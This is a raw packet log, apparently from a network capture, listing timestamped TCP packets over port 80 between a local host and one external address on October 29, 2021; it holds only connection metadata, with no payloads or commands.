Oct 29, 2021 17:55:18.668354034 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.668389082 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.668428898 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.668435097 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.668466091 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.668504000 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.668518066 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.668544054 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.668581009 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.668620110 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.713737965 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.719969034 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.720029116 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.720143080 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.720709085 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.720753908 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.720791101 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.720829964 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.720868111 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.720897913 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.720899105 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.720940113 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.720979929 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.720993042 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.721020937 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.721059084 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.721096992 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.721110106 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.721138000 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.721148968 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.721174955 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.721215963 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.721235037 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.721255064 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.721292019 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.721329927 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.721354961 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.721368074 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.721384048 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.721406937 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.721448898 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.721462011 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.721486092 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.721524000 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.721530914 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.766386032 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.766422987 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.766618967 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.772344112 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.772373915 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.772675037 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.773582935 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.773611069 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.773633957 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.773655891 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.773667097 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.773711920 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.773725033 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.773747921 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.773768902 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.773781061 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.773791075 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.773816109 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.773828983 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.773850918 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.773873091 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.773879051 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.773910999 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.773921967 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.773935080 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.773957968 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.773978949 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.773983002 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.774000883 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.774024963 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.774046898 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.774049044 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.774080992 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.774097919 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.774121046 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.774163961 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.818763018 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.818800926 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.818852901 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.825010061 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.825040102 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.825062037 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.825084925 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.825131893 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.825190067 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.825773954 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.825795889 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.825818062 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.825839043 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.825843096 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.825906038 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.825994968 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.826019049 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.826040030 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.826061964 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.826075077 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.826117039 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.826138973 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.826138973 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.826163054 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.826188087 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.826201916 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.826240063 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.826241016 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.826265097 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.826303005 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.826323986 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.826351881 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.826375961 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.826400995 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.826420069 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.826425076 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.826450109 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.826457024 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.826471090 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.826495886 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.871361971 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.871397972 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.871485949 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.877259970 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.877299070 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.877316952 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.877338886 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.877377987 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.877554893 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.877808094 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.877830982 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.877861977 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.877885103 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.877899885 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.877932072 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.878017902 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.878038883 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.878061056 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.878076077 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.878093958 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.878124952 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.878164053 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.878185034 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.878207922 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.878209114 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.878230095 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.878252983 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.878789902 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.878818035 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.878842115 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.878865957 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.878874063 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.878917933 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.878921986 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.878942966 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.878962994 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.878984928 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.878985882 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.879013062 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.923674107 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.923707962 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.923732996 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.923758984 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.923780918 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.923809052 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.929460049 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.929537058 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.929562092 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.929585934 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.929586887 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.929611921 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.929689884 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.929698944 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.929941893 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.929966927 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.929991007 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.930010080 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.930015087 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.930053949 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.930054903 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.930078983 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.930191994 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.930216074 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.930237055 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.930263996 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.930269003 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.930285931 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.930327892 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.930810928 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.930836916 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.930859089 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.930881023 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.930902958 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.930929899 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.930984020 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.931006908 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.931027889 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.931049109 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.931050062 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.931071043 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.931092024 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.931101084 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.931137085 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.976041079 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.976074934 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.976099968 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.976125956 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.976216078 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.981611967 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.981647968 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.981674910 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.981700897 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.981724024 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.981730938 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.981750011 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.981750965 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.981906891 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.981990099 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.982017994 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.982040882 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.982064962 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.982065916 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.982108116 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.982192039 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.982223034 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.982270956 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.982335091 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.982364893 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.982413054 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.982448101 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.982480049 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.982511997 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.982531071 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.983050108 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.983079910 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.983105898 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.983119965 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.983134985 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.983159065 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.983184099 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.983206034 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.983225107 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.983236074 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.983252048 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.983275890 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.983278990 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.983304024 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.983329058 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.028301954 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.028336048 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.028367043 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.028392076 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.028412104 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.028451920 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.033999920 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.034034014 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.034063101 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.034087896 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.034112930 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.034130096 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.034138918 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.034202099 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.034327984 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.034353971 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.034378052 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.034404993 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.034420967 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.034431934 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.034452915 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.034459114 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.034490108 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.034605026 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.034631968 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.034657001 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.034686089 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.034691095 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.034739971 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.035248995 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.035274982 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.035315037 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.035331964 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.035341978 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.035377979 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.035443068 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.035470009 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.035495043 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.035516024 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.035530090 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.035542965 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.035568953 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.035593987 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.035597086 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.035639048 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.035669088 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.080509901 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.080543995 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.080646038 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.080672026 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.080697060 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.080702066 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.080720901 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.080761909 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.080816984 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.086240053 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.086263895 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.086294889 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.086325884 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.086343050 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.086359024 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.086426020 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.086483002 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.086492062 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.086508989 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.086527109 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.086543083 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.086574078 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.086594105 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.086704969 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.086723089 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.086738110 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.086755991 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.086806059 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.086808920 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.086855888 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.086869001 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.086929083 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.087336063 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.087367058 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.087383986 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.087414026 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:19.087451935 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:19.087485075 CEST	49772	80	192.168.2.6	185.98.87.159
